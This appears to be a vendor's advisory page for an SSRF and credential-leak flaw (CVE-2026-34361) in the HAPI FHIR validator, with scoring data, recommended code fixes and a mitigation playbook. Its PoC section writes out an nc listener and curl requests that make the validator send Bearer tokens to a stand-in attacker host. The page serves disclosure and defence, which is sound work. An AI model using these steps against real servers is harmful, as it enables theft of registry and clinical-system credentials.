Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven
Not in CISA KEV
CRITICAL severity

GHSA-vr79-8m62-wh98 org.hl7.fhir.validation

CRITICAL

GHSA-vr79-8m62-wh98 is a critical-severity (CVSS 9.3) CWE-552 vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.validation. A fix is available for ca.uhn.hapi.fhir:org.hl7.fhir.validation — see the affected versions and patch details below.

FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Also known asCVE-2026-34361
Published
Mar 30, 2026
Updated
Mar 31, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vr79-8m62-wh98.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vr79-8m62-wh98 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
ca.uhn.hapi.fhir:org.hl7.fhir.validation

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The FHIR Validator HTTP service exposes an unauthenticated /loadIG endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.

Details

Step 1 — SSRF Entry Point (LoadIGHTTPHandler.java:35-43):

The /loadIG endpoint accepts unauthenticated POST requests with a JSON body containing an ig field. The value is passed directly to IgLoader.loadIg() with no URL validation or allowlisting. When the value is an HTTP(S) URL, IgLoader.fetchFromUrlSpecific() makes an outbound GET request via ManagedWebAccess.get():

// LoadIGHTTPHandler.java:43
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);

// IgLoader.java:437 (fetchFromUrlSpecific)
HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());

Step 2 — Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):

When ManagedWebAccess creates a SimpleHTTPClient, it attaches an authProvider that uses startsWith() to determine whether credentials should be sent:

// ManagedWebAccessUtils.java:14
if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
    return serverDetails;
}

If the server has https://packages.fhir.org configured with a Bearer token, a request to https://packages.fhir.org.attacker.com/... matches the prefix, and the token is attached to the request to the attacker's domain.

Step 3 — Redirect Amplification (SimpleHTTPClient.java:84-99,111-118):

SimpleHTTPClient manually follows redirects with setInstanceFollowRedirects(false). On each redirect hop, getHttpGetConnection() calls setHeaders() which re-evaluates authProvider.canProvideHeaders(url) against the new URL. This means even an indirect redirect path can trigger credential leakage.

PoC

Prerequisites: A FHIR Validator HTTP server running with fhir-settings.json containing:

{
  "servers": [{
    "url": "https://packages.fhir.org",
    "authenticationType": "token",
    "token": "ghp_SecretTokenForFHIRRegistry123"
  }]
}

Step 1: Set up attacker credential capture server:

# On attacker machine, listen for incoming requests
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP

Step 2: Trigger the SSRF with prefix-matching URL:

curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'

Step 3: Verify credential capture:

cat /tmp/captured_request.txt
# Expected output includes:
# GET /malicious-ig?nocache=... HTTP/1.1
# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123
# Host: packages.fhir.org.attacker.com

Redirect variant (if direct prefix match isn't possible):

# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal
curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://attacker.com/redirect"}'

Impact

  • Credential theft: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server
  • Supply chain attack: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers
  • Data breach: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed
  • Scope change (S:C): The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked

Recommended Fix

Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils (ManagedWebAccessUtils.java):

public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
        for (String serverType : serverTypes) {
          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
            return serverDetails;
          }
        }
      }
    }
    return null;
  }

  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {
    try {
      URL req = new URL(requestUrl);
      URL srv = new URL(serverUrl);
      return req.getProtocol().equals(srv.getProtocol())
          && req.getHost().equals(srv.getHost())
          && req.getPort() == srv.getPort()
          && req.getPath().startsWith(srv.getPath());
    } catch (MalformedURLException e) {
      return false;
    }
  }

Fix 2 — URL allowlisting in LoadIGHTTPHandler (LoadIGHTTPHandler.java):

// Add allowlist validation before loading
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "packages.fhir.org", "packages2.fhir.org", "build.fhir.org"
);

private boolean isAllowedSource(String ig) {
    try {
        URL url = new URL(ig);
        return ALLOWED_HOSTS.contains(url.getHost());
    } catch (MalformedURLException e) {
        return false; // Not a URL, could be a package reference
    }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenca.uhn.hapi.fhir:org.hl7.fhir.validationall versions6.9.4ca.uhn.hapi.fhir:org.hl7.fhir.validation:6.9.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ca.uhn.hapi.fhir:org.hl7.fhir.validation, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ca.uhn.hapi.fhir:org.hl7.fhir.validation to 6.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vr79-8m62-wh98 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vr79-8m62-wh98 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vr79-8m62-wh98. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. ## Details **Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`): The `/loadIG` endpoint accepts unauthenticated POST requests with a J
O3 Security · Impact-Aware SCA

Is GHSA-vr79-8m62-wh98 in your dependencies?

O3 Security finds GHSA-vr79-8m62-wh98 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vr79-8m62-wh98: SSRF (Critical 9.3) | O3 Security